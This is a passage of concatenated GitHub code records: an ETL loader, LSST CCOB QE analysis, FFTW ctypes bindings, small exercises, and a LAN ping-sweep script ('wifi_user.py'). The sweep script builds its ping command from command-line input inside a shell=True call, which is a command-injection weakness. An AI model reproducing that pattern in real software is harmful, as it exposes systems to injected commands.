item_name,\n \"size\": item_size,\n \"price\": item_price,\n },\n )\n else:\n product_uuid = product_uuid[0]\n\n items_ids.append({\"product_uuid\": product_uuid, \"temp_id\": row[\"temp_id\"]})\n return items_ids\n\ndef transaction(conn, transform_data):\n\n transaction_uuid_out = []\n\n for row in transform_data:\n\n date_and_time = row[\"Date-Time\"]\n payment_type = row[\"payment_type\"]\n total_amount = row[\"total_amount\"]\n\n store = row[\"location\"]\n store_uuid = db.fetch_entry(conn, \"store\", [\"location\"], [store])\n transaction_uuid = str(uuid.uuid4())\n\n db.insert_into_table(\n conn,\n \"transaction\",\n {\n \"id\": transaction_uuid,\n \"datetime\": date_and_time,\n \"store_id\": store_uuid[0],\n \"payment_type\": payment_type,\n \"total_amount\": total_amount,\n },\n )\n\n transaction_uuid_out.append(\n {\"transaction_uuid\": transaction_uuid, \"temp_id\": row[\"temp_id\"]}\n )\n return transaction_uuid_out\n\n\ndef basket(conn, items_ids, transaction_uuid_out):\n\n for dic in transaction_uuid_out:\n\n for item in items_ids:\n if item[\"temp_id\"] == dic[\"temp_id\"]:\n\n basket_uuid = str(uuid.uuid4())\n\n db.insert_into_table(\n conn,\n \"basket\",\n {\n \"id\": basket_uuid,\n \"transaction_id\": dic[\"transaction_uuid\"],\n \"product_id\": item[\"product_uuid\"],\n },\n )\n return transaction_uuid_out\n\ndef load_db(conn, transform_data):\n\n transform_data = add_temp_id(transform_data)\n store_load(conn, transform_data)\n type_load(conn, transform_data)\n items_id = product_data(conn, transform_data)\n transaction_uuid_out = transaction(conn, transform_data)\n basket(conn, items_id, transaction_uuid_out)","repo_name":"kailyisme/generation_group_proj","sub_path":"src/etl/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":4483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"26158112662","text":"begin = 1000000000 - 10\nend = 1000000000\n\n# result = [0, 1, 1, 2, 1, 3, 1, 4, 3, 5]\n\n\ndef get_divide_num(num):\n result = []\n\n for i in range(1, int(num ** 0.5) + 1):\n if num % i == 0:\n result.append(i)\n if i != (num // i):\n result.append(num // i)\n\n return [i for i in sorted(result) if i <= 10000000 or i == num]\n\n\ndef solution(begin, end):\n result = [0] * (end - begin + 1)\n for i in range(begin, end + 1):\n divide_nums = get_divide_num(i)\n if len(divide_nums) == 1:\n result[i - begin] = 0\n elif len(divide_nums) == 2:\n result[i - begin] = 1\n elif len(divide_nums) > 2:\n result[i - begin] = divide_nums[-2]\n return result\n\nprint(solution(begin, end))\n\n\n\"\"\" 시간초과\ndef solution(begin, end):\n result = [0] * (end + 1)\n \n for i in range(1, end + 1):\n for j in range(i * 2, end + 1, i):\n result[j] = i\n return result[begin:end+1]\n\"\"\"\n","repo_name":"sunjin7725/Programmers-algorithm","sub_path":"숫자 블록.py","file_name":"숫자 블록.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"21768363624","text":"import os\nimport lsst.eotest.image_utils as imutils\nimport lsst.eotest.sensor as sensorTest\nimport numpy as np\nimport ccob_utils as u\nimport ccob_beam as b\nimport pickle\nimport matplotlib.pyplot as plt\nimport pdb \n\nclass CcobQE: \n \"\"\"\n A class to compute and save the relative QE measurements perfomed using CCOB data\n \n Attributes\n ----------\n config_file_beam: string\n Path to the file containing information necessary to the CCOB beam reconstruction\n config_file_data: string\n Path to the file containing information to read in the sensor data used to compute the CCOB QE\n beam: CcobBeam object\n Contains all the properties of the CCOB beam reconstructed from the config_file_beam configuration file\n ccd: 2D array\n Mosaic image of the CCOB-illuminated sensor to be used in the QE calculation\n QE: 2D array\n Mosaic image of the QE obtained from ccd/beam\n \n \"\"\"\n def __init__(self, config_file_beam, config_file_data):\n# self.config_file_beam = config_file_beam\n# self.config_file_data = config_file_data\n self.config_beam = u.load_ccob_config(config_file_beam)\n self.config_data = u.load_ccob_config(config_file_data)\n\n def make_ccob_beam(self, led_name='red', ref_amp=13, ref_slot='11', ref_pix_x=1000,ref_pix_y=256):\n \"\"\"\n Make a CCOB beam object from a scan using a bunch of pixels located around (ref_pix_x, ref_pix,y), in \n amplifier ref_amp of the sensor ref_slot\n \n Parameters\n ----------\n led_name: string\n Choice of CCOB LED\n ref_amp: int\n Amplifier where the bunch of pixels is located\n ref_slot: string\n Sensor where the bunch of pixels is located\n ref_pix_x: int\n x position in pixel coordinates where the bunch of pixels is located\n ref_pix_y:\n y position in pixel coordinates where the bunch of pixels is located\n \n \"\"\"\n \n filename = led_name+'_beam_slot'+ref_slot+'_amp'+str(ref_amp)+'_refx'+str(ref_pix_x)+\\\n '_refy'+str(ref_pix_y)+'.pkl'\n \n# config = u.load_ccob_config(self.config_file_beam)\n\n if os.path.exists(os.path.join(self.config_beam['tmp_dir'],filename)):\n print(\"CCOB beam object file already exists, loading it instead of recomputing\")\n self.load_ccob_beam(os.path.join(self.config_beam['tmp_dir'],filename))\n else:\n print(\"Computing the CCOB beam\")\n self.led = led_name\n self.config_beam['led_name'] = self.led\n self.beam = b.CcobBeam(self.config_beam)\n self.beam.recons(ref_slot=ref_slot, ref_amp=ref_amp, ref_pix_x=ref_pix_x,ref_pix_y=ref_pix_y)\n self.beam.make_image()\n self.beam.find_max()\n print('Printing to ',filename)\n self.beam.save(os.path.join(self.beam.config['tmp_dir'],filename))\n #return self.beam\n\n def load_ccob_beam(self, infile):\n \"\"\"\n Load an existing CCOB beam object, that would have been previously\n generate using make_ccob_beam\n \"\"\"\n self.beam = pickle.load(open(infile,'rb'))\n \n\n def load_ccd(self, led_name='red'):\n \"\"\"\n Load and generate mosaic image from a given sensor illuminated \n by the CCOB. The path to the data is provided in the self.config_file_data file.\n \n Parameters\n ----------\n led_name: choice of the CCOB LED. Either one of ['nm960','nm850','nm750,'red','blue,'uv'] \n \"\"\"\n\n #config_file_data = '../ccob_config_RTM-006.yaml'\n# config_data = u.load_ccob_config(self.config_file_data)\n# config_beam = u.load_ccob_config(self.config_file_beam)\n\n self.config_data['led_name'] = led_name\n slot = self.beam.properties['ref_slot']\n file_list=sorted(u.find_files(self.config_data, slot=slot))\n\n mean_slot_file = slot+'_mean_ccob_image.fits'\n imutils.fits_mean_file(file_list, os.path.join(self.config_data['tmp_dir'],mean_slot_file))\n\n fits_file = os.path.join(self.config_data['tmp_dir'],mean_slot_file)\n gains_dict={}\n ccd_dict={}\n\n #bias_frames = glob.glob(os.path.join(config['path'], slot+'_bias*'))\n #mean_bias_file = slot+'_mean_bias_image_RTM-006_new.fits'\n #imutils.fits_mean_file(bias_frames, os.path.join(config['tmp_dir'],mean_bias_file))\n #ccd_dict = sensorTest.MaskedCCD(fits_file, bias_frame=os.path.join(self.config_data['tmp_dir'],mean_bias_file))\n \n superbias_frame = make_superbias_frame(self.config_data, slot=slot)\n ccd_dict = sensorTest.MaskedCCD(fits_file, bias_frame=os.path.join(self.config_data['tmp_dir'],superbias_frame))\n\n eotest_results_file = os.path.join(self.config_data['eo_data_path'],\\\n '{}_eotest_results.fits'.format(ccd_dict.md('LSST_NUM')))\n\n gains_dict = u.gains(eotest_results_file)\n self.ccd = {}\n self.ccd['mosaic'], self.ccd['amp_coord'] = u.make_ccd_2d_array(fits_file, gains=gains_dict)\n self.ccd['xpos_ccob'] = self.config_data['xpos']\n self.ccd['ypos_ccob'] = self.config_data['ypos']\n \n return self.ccd\n\n def compute_QE(self):\n \"\"\"\n Computes the mosaicked QE image from the reconstructed beam image (self.beam) and the \n CCOB-illuminated sensor image (self.ccd).\n \n First, the beam model image is matched to the data, given the position of the CCOB when the data\n were taken. Then the ratio data/beam produced the CCOB flat field from which the relative QE may be measured.\n \"\"\"\n\n # First need to match a beam image to the ccd data, given the position of the CCOB\n ref_pix = u.pix_coord_in_mosaic(self.ccd['amp_coord'], self.beam.properties['ref_amp'], \\\n self.beam.properties['ref_pix_y'],\n self.beam.properties['ref_pix_x'])\n\n delta_x = float(self.ccd['ypos_ccob']) - self.beam.properties['max_yccob']\n delta_y = float(self.ccd['xpos_ccob']) - self.beam.properties['max_xccob']\n delta_x_pix = int(delta_x/0.01)\n delta_y_pix = int(delta_y/0.01)\n\n print('deplacement in mm: dx=%0.2f dy=%0.2f'%(delta_x, delta_y))\n print('deplacement in pixels: dx=%i dy=%i'%(delta_x_pix, delta_y_pix))\n\n geom_center_pos=(ref_pix[0]+delta_x_pix, ref_pix[1]+delta_y_pix)\n\n # distance from beam center to ccd edges in mm\n dist_to_left = geom_center_pos[0]*0.01\n dist_to_bottom = geom_center_pos[1]*0.01\n dist_to_right = (self.ccd['mosaic'].shape[1]-geom_center_pos[0])*0.01\n dist_to_top = (self.ccd['mosaic'].shape[0]-geom_center_pos[1])*0.01\n\n # bounding box to use to reconstruct the CCOB with dimensions matching ccd\n bbox = (self.beam.properties['max_xccob'] - dist_to_left,\n self.beam.properties['max_xccob'] + dist_to_right,\n self.beam.properties['max_yccob'] - dist_to_bottom,\n self.beam.properties['max_yccob'] + dist_to_top)\n\n xarr = np.linspace(bbox[0],bbox[1],self.ccd['mosaic'].shape[1])\n yarr = np.linspace(bbox[2],bbox[3],self.ccd['mosaic'].shape[0])\n self.beam_image = self.beam.beam_image['f_interp'](xarr, yarr)\n\n # Raw QE (flat) is simply the ccd-to-beam ratio\n self.QE = self.ccd['mosaic']/self.beam_image\n return self.QE\n \n def plot_QE(self):\n plt.imshow(self.QE.QE, vmin=0.695, vmax=0.715, cmap='hot')\n plt.colorbar()\n plt.show()\n\n def make_fits(self, outfile, template_file):\n \"\"\"\n Saves the mosaicked QE image into a fits file, using the default format \n \n Parameters\n ----------\n outfile: string\n Name of the output fits file into which the data will be saved\n template_file: string\n Name of the file to be used as template in the writeFits function\n \n \"\"\"\n amp_dict = {}\n \n for i,amp_pos in enumerate(self.ccd['amp_coord']):\n \n amp = self.ccd['amp_coord'][amp_pos]['amp']\n xmin = self.ccd['amp_coord'][amp_pos]['xmin']\n xmax = self.ccd['amp_coord'][amp_pos]['xmax']\n ymin = self.ccd['amp_coord'][amp_pos]['ymin']\n ymax = self.ccd['amp_coord'][amp_pos]['ymax']\n flipx = self.ccd['amp_coord'][amp_pos]['flipx']\n flipy = self.ccd['amp_coord'][amp_pos]['flipy']\n detsec = self.ccd['amp_coord'][amp_pos]['detsec']\n datasec = self.ccd['amp_coord'][amp_pos]['datasec']\n \n foo = self.QE[ymin:ymax,xmin:xmax]\n \n if flipx:\n amp_dict[amp] = foo[:,::-1]\n elif flipy:\n amp_dict[amp] = foo[::-1,:]\n else:\n amp_dict[amp] = foo\n\n ccd_dict = sensorTest.MaskedCCD(template_file)\n shape = ccd_dict[1].getImage().getArray().shape \n \n amp_dict_w_overscan = {}\n for amp in amp_dict:\n arr = np.zeros(shape)\n arr[datasec['ymin']-1:datasec['ymax'],datasec['xmin']-1:datasec['xmax']] = amp_dict[amp]\n amp_dict_w_overscan[amp] = arr\n \n u.writeFits_from_dict(amp_dict_w_overscan, outfile, template_file, bitpix=-32)\n \n","repo_name":"lsst-camera-dh/ccob-wb","sub_path":"ccob_qe_analysis.py","file_name":"ccob_qe_analysis.py","file_ext":"py","file_size_in_byte":9530,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"5"} +{"seq_id":"70629183832","text":"#!/usr/bin/env python\n\nimport ctypes\nimport numpy\n\nfrom . import libfftwf\n\n\nFFTW_BACKWARD = 1\nFFTW_ESTIMATE = 1 << 6\nFFTW_FORWARD = -1\nFFTW_MEASURE = 0\n\n\nclass FFTWFComplex(ctypes.Structure):\n '''typedef float fftwf_complex[2];'''\n _fields_ = [('r', ctypes.c_float), ('i', ctypes.c_float)]\n\n\nclass FFTWFPlanStructure(ctypes.Structure):\n '''\n struct fftwf_plan_s {\n plan *pln;\n problem *prb;\n int sign;\n };\n '''\n _fields_ = [\n ('pln', ctypes.c_void_p),\n ('prb', ctypes.c_void_p),\n ('sign', ctypes.c_int),\n ]\n\n\n'''\ntypedef struct fftwf_plan_s *fftwf_plan;\n'''\nFFTWFPlan = ctypes.POINTER(FFTWFPlanStructure)\n\n\n'''\nfftwf_plan fftwf_plan_dft_1d(int, fftwf_complex *, fftwf_complex *,\n int, unsigned);\n'''\nfftwf_plan_dft_1d = libfftwf.fftwf_plan_dft_1d\nfftwf_plan_dft_1d.restype = FFTWFPlan\nfftwf_plan_dft_1d.argtypes = [\n ctypes.c_int,\n ctypes.POINTER(FFTWFComplex),\n ctypes.POINTER(FFTWFComplex),\n ctypes.c_int,\n ctypes.c_uint,\n]\n\n'''\nfftwf_plan fftwf_plan_dft_r2c_1d(int, float *, fftwf_complex *, unsigned);\n'''\nfftwf_plan_dft_r2c_1d = libfftwf.fftwf_plan_dft_r2c_1d\nfftwf_plan_dft_r2c_1d.restype = FFTWFPlan\nfftwf_plan_dft_r2c_1d.argtypes = [\n ctypes.c_int,\n ctypes.POINTER(ctypes.c_float),\n ctypes.POINTER(FFTWFComplex),\n ctypes.c_uint,\n]\n\n'''\nfftwf_plan fftwf_plan_dft_c2r_1d(int, fftwf_complex *, float *, unsigned);\n'''\nfftwf_plan_dft_c2r_1d = libfftwf.fftwf_plan_dft_c2r_1d\nfftwf_plan_dft_c2r_1d.restype = FFTWFPlan\nfftwf_plan_dft_c2r_1d.argtypes = [\n ctypes.c_int,\n ctypes.POINTER(FFTWFComplex),\n ctypes.POINTER(ctypes.c_float),\n ctypes.c_uint,\n]\n\n'''\nvoid fftwf_destroy_plan(fftwf_plan);\n'''\nfftwf_destroy_plan = libfftwf.fftwf_destroy_plan\nfftwf_destroy_plan.restype = None\nfftwf_destroy_plan.argtypes = [FFTWFPlan]\n\n'''\nvoid fftwf_execute(const fftwf_plan);\n'''\nfftwf_execute = libfftwf.fftwf_execute\nfftwf_execute.restype = None\nfftwf_execute.argtypes = [FFTWFPlan]\n\n'''\nvoid fftwf_execute_dft(const fftwf_plan, fftwf_complex *, fftwf_complex *);\n'''\nfftwf_execute_dft = libfftwf.fftwf_execute_dft\nfftwf_execute_dft.restype = None\nfftwf_execute_dft.argtypes = [\n FFTWFPlan,\n ctypes.POINTER(FFTWFComplex),\n ctypes.POINTER(FFTWFComplex),\n]\n\n'''\nvoid fftwf_execute_dft_r2c(const fftwf_plan, float *, fftwf_complex *);\n'''\nfftwf_execute_dft_r2c = libfftwf.fftwf_execute_dft_r2c\nfftwf_execute_dft_r2c.restype = None\nfftwf_execute_dft_r2c.argtypes = [\n FFTWFPlan,\n ctypes.POINTER(ctypes.c_float),\n ctypes.POINTER(FFTWFComplex),\n]\n\n'''\nvoid fftwf_execute_dft_c2r(const fftwf_plan, fftwf_complex *, float *);\n'''\nfftwf_execute_dft_c2r = libfftwf.fftwf_execute_dft_c2r\nfftwf_execute_dft_c2r.restype = None\nfftwf_execute_dft_c2r.argtypes = [\n FFTWFPlan,\n ctypes.POINTER(FFTWFComplex),\n ctypes.POINTER(ctypes.c_float),\n]\n\n\ndef data(x):\n if not isinstance(x, numpy.ndarray):\n raise ValueError\n if x.dtype not in [numpy.float32, numpy.complex64]:\n raise ValueError\n if x.dtype == numpy.float32:\n return ctypes.cast(x.ctypes.data, ctypes.POINTER(ctypes.c_float))\n if x.dtype == numpy.complex64:\n return ctypes.cast(x.ctypes.data, ctypes.POINTER(FFTWFComplex))\n\n\nclass FFT(object):\n\n dtypes = {\n 'c2c': (numpy.complex64, numpy.complex64),\n 'r2c': (numpy.float32, numpy.complex64),\n 'c2r': (numpy.complex64, numpy.float32),\n }\n\n def __init__(self):\n self.plans = {}\n self.destroy_plan = fftwf_destroy_plan\n\n def plan(self, x, X):\n if not isinstance(x, numpy.ndarray):\n raise ValueError\n if not isinstance(X, numpy.ndarray):\n raise ValueError\n if (x.dtype, X.dtype) not in self.dtypes.values():\n raise ValueError\n n = x.size\n flags = FFTW_ESTIMATE\n if (x.dtype, X.dtype) == self.dtypes['r2c']:\n return (\n fftwf_plan_dft_r2c_1d(n, data(x), data(X), flags),\n fftwf_plan_dft_c2r_1d(n, data(X), data(x), flags),\n )\n if (x.dtype, X.dtype) == self.dtypes['c2c']:\n return (\n fftwf_plan_dft_1d(n, data(x), data(X), FFTW_FORWARD, flags),\n fftwf_plan_dft_1d(n, data(x), data(X), FFTW_BACKWARD, flags),\n )\n\n def fft(self, x):\n X = numpy.zeros(x.size, dtype=numpy.complex64)\n if not (x.dtype, X.dtype) == self.dtypes['c2c']:\n raise ValueError\n if (x.dtype, X.dtype, x.size) not in self.plans:\n self.plans[(x.dtype, X.dtype, x.size)] = self.plan(x, X)\n plan = self.plans[(x.dtype, X.dtype, x.size)][0]\n fftwf_execute_dft(plan, data(x), data(X))\n return X\n\n def ifft(self, X):\n x = numpy.zeros(X.size, dtype=numpy.complex64)\n if not (X.dtype, x.dtype) == self.dtypes['c2c']:\n raise ValueError\n if (x.dtype, X.dtype, x.size) not in self.plans:\n self.plans[(x.dtype, X.dtype, x.size)] = self.plan(x, X)\n plan = self.plans[(x.dtype, X.dtype, x.size)][1]\n fftwf_execute_dft(plan, data(X), data(x))\n x *= 1.0 / x.size\n return x\n\n def rfft(self, x):\n X = numpy.zeros(x.size, dtype=numpy.complex64)\n if not (x.dtype, X.dtype) == self.dtypes['r2c']:\n raise ValueError\n if (x.dtype, X.dtype, x.size) not in self.plans:\n self.plans[(x.dtype, X.dtype, x.size)] = self.plan(x, X)\n plan = self.plans[(x.dtype, X.dtype, x.size)][0]\n fftwf_execute_dft_r2c(plan, data(x), data(X))\n return X\n\n def irfft(self, X, n=None):\n x = numpy.zeros(X.size, dtype=numpy.float32)\n if not (X.dtype, x.dtype) == self.dtypes['c2r']:\n raise ValueError\n if (x.dtype, X.dtype, x.size) not in self.plans:\n self.plans[(x.dtype, X.dtype, x.size)] = self.plan(x, X)\n plan = self.plans[(x.dtype, X.dtype, x.size)][1]\n fftwf_execute_dft_c2r(plan, data(X), data(x))\n x *= 1.0 / x.size\n return x\n\n def __del__(self):\n for plan in self.plans:\n self.destroy_plan(self.plans[plan][0])\n self.destroy_plan(self.plans[plan][1])\n pass\n\n\nif __name__ == '__main__':\n pass\n","repo_name":"eliteraspberries/python-libfftw","sub_path":"libfftw/fftwf.py","file_name":"fftwf.py","file_ext":"py","file_size_in_byte":6230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"41739878482","text":"import string\n\nfname = input('Enter file name: ')\ntry:\n fhandle = open(fname)\nexcept:\n print('File cannot be opened:', fname)\n exit()\ncount = 0\nalphabet = dict()\nfor line in fhandle:\n line = line.translate(str.maketrans('', '', string.punctuation))\n line = line.translate(str.maketrans('', '', string.digits))\n line = line.lower()\n words = line.split()\n for word in words:\n for letter in word:\n count += 1\n if letter not in alphabet:\n alphabet[letter] = 1\n else:\n alphabet[letter] += 1\nt = list()\nfor key, val in list(alphabet.items()):\n t.append((val, key))\nt.sort(reverse=True)\nfor key, val in t:\n print(key, val)\n","repo_name":"guerrak/Class-works","sub_path":"ch10.3.py","file_name":"ch10.3.py","file_ext":"py","file_size_in_byte":716,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"30676841820","text":"import random\nimport random\nimport urllib\n\nimport yaml\nfrom google_images_search import GoogleImagesSearch\nfrom mutagen.id3 import APIC, ID3\nfrom mutagen.mp3 import MP3\n\nuser_agents = [\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36'\n]\nwith open('config.yaml') as f:\n data = yaml.load(f, Loader=yaml.FullLoader)\n\napi = data['api']\ncx_id = data['cx_id']\ngis = GoogleImagesSearch(api, cx_id)\n\ndef retrieve_image_cover(name):\n\n search_params = {\n 'q': name,\n 'num': 1\n }\n\n # define search params\n gis.search(search_params)\n\n # results\n gis.results()\n\n # retrieve the first image\n first_image_url = gis.results()[0].url\n\n return first_image_url\n\n\ndef load_image(audio, cover_image, name, image):\n url = image\n\n # A list of user agents to choose from\n user_agents = [\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0',\n 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36',\n 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82 Safari/537.36'\n ]\n\n headers = {'User-Agent': random.choice(user_agents)}\n req = urllib.request.Request(url, headers=headers)\n\n try:\n response = urllib.request.urlopen(req)\n content = response.read()\n\n\n audio = MP3(name, ID3=ID3)\n # Create an APIC frame with the image data\n apic = APIC(\n encoding=3, # 3 is for UTF-8\n mime='image/jpeg',\n type=3, # 3 is for the cover image\n desc='Cover',\n data=content\n )\n\n # Add the APIC frame to the ID3 tags\n audio.tags.add(apic)\n\n # Save the changes to the music file\n audio.save()\n\n\n\n return audio\n except urllib.error.HTTPError as e:\n return audio\n print(e)\n\n","repo_name":"vonfreiren/youtube-sets-downloader","sub_path":"images/google_images.py","file_name":"google_images.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"72353382551","text":"# ---------------------------------------------\n# Program by @developer_telegrams\n#\n#\n# Version Date Info\n# 1.0 2023 Initial Version\n#\n# ---------------------------------------------\nimport os\n\n\ndef delete_file(file_patch):\n try:\n os.remove(file_patch)\n except Exception as es:\n print(f'Не могу удалить файл, ошибка \"{es}\"')\n\n return False\n\n return True\n","repo_name":"mao13132/downloader_youtube","sub_path":"src/youtube/delete_file.py","file_name":"delete_file.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"9243091288","text":"class Solution:\n def longestValidParentheses(self, s: str) -> int:\n stack = []\n track = []\n length = []\n\n for i in range(len(s)):\n if s[i] == '(':\n stack.append(s[i])\n track.append(i+1)\n elif len(stack) >0:\n stack.pop()\n track.pop()\n else:\n track.append(i+1)\n\n if len(track)>0:\n temp1 = track.pop()\n length.append(len(s)-temp1)\n\n for j in range(len(track)):\n temp2 = track.pop()\n length.append(temp1-1-temp2)\n temp1 = temp2\n\n length.append(temp1-1)\n\n return max(length)\n\n else:\n return len(s)\n\n \n","repo_name":"tesfaymebre/A2SV_comptetive_programming-python-","sub_path":"progress sheet/32_Longest_Valid_Parentheses.py","file_name":"32_Longest_Valid_Parentheses.py","file_ext":"py","file_size_in_byte":767,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"17189840871","text":"class Solution:\n def shortestToChar(self, S, C):\n \"\"\"\n :type S: str\n :type C: str\n :rtype: List[int]\n \"\"\"\n indexes = set()\n ans = []\n for i, item in enumerate(S):\n if item == C:\n indexes.add(i)\n for i, item in enumerate(S):\n temp = [abs(index - i) for index in indexes]\n ans.append(min(temp))\n return ans\n","repo_name":"rodrigomlp/contest","sub_path":"q1.py","file_name":"q1.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"5"} +{"seq_id":"7484810637","text":"\"\"\"\n * @author Kassoum TRAORE\n * @email shadoworker5.dev@gmail.com\n * @create date 2022-06-20 23:33:52\n * @modify date 2022-07-26 00:14:42\n * @version: 1.0.0\n * @desc This version is for window device\n\"\"\"\nimport subprocess\nimport re as regex\nimport socket\nimport sys\nfrom datetime import datetime\nimport threading\n\nhosts = []\nresult = list()\nresponse_name = list()\n\ndef get_user_name(ip, dict_name):\n try:\n name, other, host_ip = socket.gethostbyaddr(ip)\n dict_name[ip] = name\n response_name.append(dict_name)\n except:\n dict_name[ip] = \"Not found\"\n response_name.append(dict_name)\n\ndef async_get_name() ->dict:\n dict_name = dict()\n \n for ip in hosts:\n thread_ip = threading.Thread(target=get_user_name, args=(ip, dict_name))\n response_name.append(thread_ip)\n \n for ip in range(len(hosts)):\n response_name[ip].start()\n \n for ip in range(len(hosts)):\n response_name[ip].join()\n \n return dict_name\n\ndef ping_request(host, dict_ip):\n command = subprocess.Popen(\"ping \"+ host +\" -n 2\", shell=True, stdout=subprocess.PIPE, text=True)\n response, erreur = command.communicate()\n if regex.search(\" Impossible de joindre l'h“te de destination.\", response) == None:\n dict_ip[host] = \"open\"\n result.append(dict_ip)\n\ndef async_ping(host, start_ip, end_ip):\n dict_ip = dict()\n split_host = host.split('.')\n host = split_host[0]+'.'+split_host[1]+'.'+split_host[2]+'.'\n\n for ip in range(start_ip, end_ip + 1):\n target = host+str(ip)\n t = threading.Thread(target=ping_request, args=(target, dict_ip))\n result.append(t)\n\n print(f\"Loading{'.'*20}\\n\")\n \n for ip in range(len(result)):\n result[ip].start()\n\n for ip in dict_ip:\n hosts.append(ip)\n\ndef main(address_ip, start_ip, end_ip):\n \"\"\" This is main function we launch at begining of all \"\"\"\n time_start = datetime.timestamp(datetime.today())\n async_ping(address_ip, start_ip, end_ip)\n ip_user_name = async_get_name()\n\n print(f\"+{'-'*60}+\")\n print(f'| IP {\" \"*15} | Host name {\" \":<28}|')\n print(f\"+{'-'*60}+\")\n \n for i in ip_user_name:\n print(f'| {i:<18} | {ip_user_name[i]:<37} |')\n print(f\"+{'-'*60}+\")\n \n end_start = datetime.timestamp(datetime.today())\n print(\"\\nScan time: {} seconds\".format(str(end_start - time_start)[:5]))\n print(f\"Host found: {str(len(ip_user_name))}\")\n\nif __name__ == '__main__':\n if len(sys.argv) == 4:\n try:\n main(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))\n except KeyboardInterrupt:\n print(\"Keyboard Interruption.\\nBye\")\n exit()\n else:\n print(\"Error. You must use this script by example 127.0.0.1 1 255\")\n exit()","repo_name":"shadoworker5/Python-codes","sub_path":"wifi_user.py","file_name":"wifi_user.py","file_ext":"py","file_size_in_byte":2783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"36348295338","text":"#-*- coding: utf-8 -*-\nimport time\nimport unittest\nimport json\nimport os\nimport numpy as np\n\nimport ngraph as ng\nimport pgl\n\nclass NGraphTest(unittest.TestCase):\n @classmethod\n def setUpClass(cls):\n np.random.seed(1)\n edge_list = [(2, 0), (2, 1), (3, 1),(4, 0), (5, 0), \n (6, 0), (6, 4), (6, 5), (7, 0), (7, 1),\n (7, 2), (7, 3), (8, 0), (9, 7)]\n\n src_ids = []\n dst_ids = []\n for pair in edge_list:\n src_ids.append(pair[0])\n dst_ids.append(pair[1])\n src_ids.append(pair[1])\n dst_ids.append(pair[0])\n \n num_nodes = 10\n cls.graph = ng.Graph(src_ids, dst_ids, num_nodes)\n cls.pgl_graph = pgl.graph.Graph(num_nodes, list(zip(src_ids, dst_ids)))\n\n def test_num_nodes(self):\n print()\n ground = 10\n self.assertEqual(self.graph.num_nodes(), ground)\n\n def test_num_edges(self):\n print()\n ground = 28\n self.assertEqual(self.graph.num_edges(), ground)\n\n def test_randomwalk_speed(self):\n print()\n num = 1000\n depth = 1000\n start_nodes = [0 for i in range(num)]\n start = time.time()\n pgl_walks = self.pgl_graph.random_walk(start_nodes, depth)\n print(\"pgl random walk time: %.4f s with %d start_nodes and depth==%d\" \n % (time.time() - start, num, depth))\n # print(pgl_walks[0])\n\n start = time.time()\n ngraph_walks = ng.random_walk(graph=self.graph, \n nodes=start_nodes, \n depth=depth)\n print(\"ngraph random walk time: %.4f s with %d start_nodes and depth==%d\" \n % (time.time() - start, num, depth))\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"Liwb5/ngraph","sub_path":"tests/test_ngraph.py","file_name":"test_ngraph.py","file_ext":"py","file_size_in_byte":1824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"5"} +{"seq_id":"24990787068","text":"import os\r\nfrom os import system\r\nimport sys\r\nimport fileinput\r\nimport csv\r\nimport argparse\r\nfrom datetime import date\r\nfrom print_tabel import print_tabel\r\n\r\nfull_path = os.path.realpath(__file__)\r\nfile_directory = os.path.dirname(full_path)\r\ndirectory_path = os.path.join(file_directory, \"initial_files\")\r\n# print(directory_path)\r\ninventory_file = os.path.join(directory_path, \"inventory.csv\")\r\n# print(inventory_file)\r\nexpire_file = os.path.join(directory_path, \"expires_dates.csv\")\r\npurchase_file = os.path.join(directory_path, \"purchase.csv\")\r\nsales_file = os.path.join(directory_path, \"sales.csv\")\r\n\r\nap = argparse.ArgumentParser()\r\n# id = \"246810\" # testline\r\n# sold_date = \"2021-04-03\" # testline\r\n# sold_price = str(23.23) # testline\r\n\r\ndef sell2(id, sold_date, sold_price):\r\n # process to embed sold item information into the inventory and associated files\r\n if sold_date == \"None\":\r\n sold_date = str(date.today())\r\n print(\"\\n Action: sell item\\n\")\r\n 